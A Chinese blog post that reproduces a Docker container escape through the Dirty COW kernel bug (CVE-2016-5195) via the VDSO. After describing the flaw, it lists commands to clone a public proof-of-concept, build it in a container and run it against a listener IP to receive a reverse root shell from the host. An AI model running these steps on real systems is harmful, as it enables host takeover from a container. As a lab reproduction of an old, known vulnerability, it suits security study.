zoukankan      html  css  js  c++  java
  • Docker逃逸--脏牛漏洞POC测试

    脏牛漏洞(CVE-2016-5195)与VDSO(虚拟动态共享对象)

    一、漏洞描述

    Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。

    竞争条件意为任务执行顺序异常,可能导致应用崩溃或面临攻击者的代码执行威胁。利用该漏洞,攻击者可在其目标系统内提升权限,甚至获得root权限。VDSO就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。

    在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击,令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件。

    二、漏洞利用条件

    docker与宿主机共享内核,如果要触发这个漏洞,需要宿主机存在dirtyCow漏洞的宿主机。

    这里,我们使用ubuntu-14.04.5来复现。

    Ubuntu系统镜像下载:http://old-releases.ubuntu.com/releases/14.04.0/ubuntu-14.04.5-server-amd64.iso

    内核版本(共享内核):

    宿主机:

      bypass@ubuntu-docker:/$ uname -a   Linux ubuntu-docker 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

    容器:
        root@59b203abf9d1:/# uname -r
        4.4.0-31-generic
        root@59b203abf9d1:/# 
        root@59b203abf9d1:/# cat /etc/issue
        Ubuntu 20.04 LTS 
     l

    三、漏洞测试复现

    1、测试环境下载

    git clone https://github.com/gebl/dirtycow-docker-vdso.git

    2、运行测试容器

    cd dirtycow-docker-vdso/
    sudo docker-compose run dirtycow /bin/bash

    3、进入容器,编译POC并执行

    cd /dirtycow-vdso/
    make
    ./0xdeadbeef 192.168.172.136:1234

     4、在192.168.172.136监听本地端口,成功接收到宿主机反弹的shell。

     参考文章:

     https://github.com/gebl/dirtycow-docker-vdso/blob/main/Dockerfile

  • 相关阅读:
    SCILAB简介[z]
    UG OPEN API编程基础 2约定及编程初步
    Office 2003与Office 2010不能共存的解决方案
    UG OPEN API 编程基础 3用户界面接口
    NewtonRaphson method
    UG OPEN API编程基础 13MenuScript应用
    UG OPEN API编程基础 14API、UIStyler及MenuScript联合开发
    UG OPEN API编程基础 4部件文件的相关操作
    UG OPEN API编程基础 1概述
    16 UG Open的MFC应用
  • 原文地址:https://www.cnblogs.com/xiaozi/p/13374514.html
Copyright © 2011-2022 走看看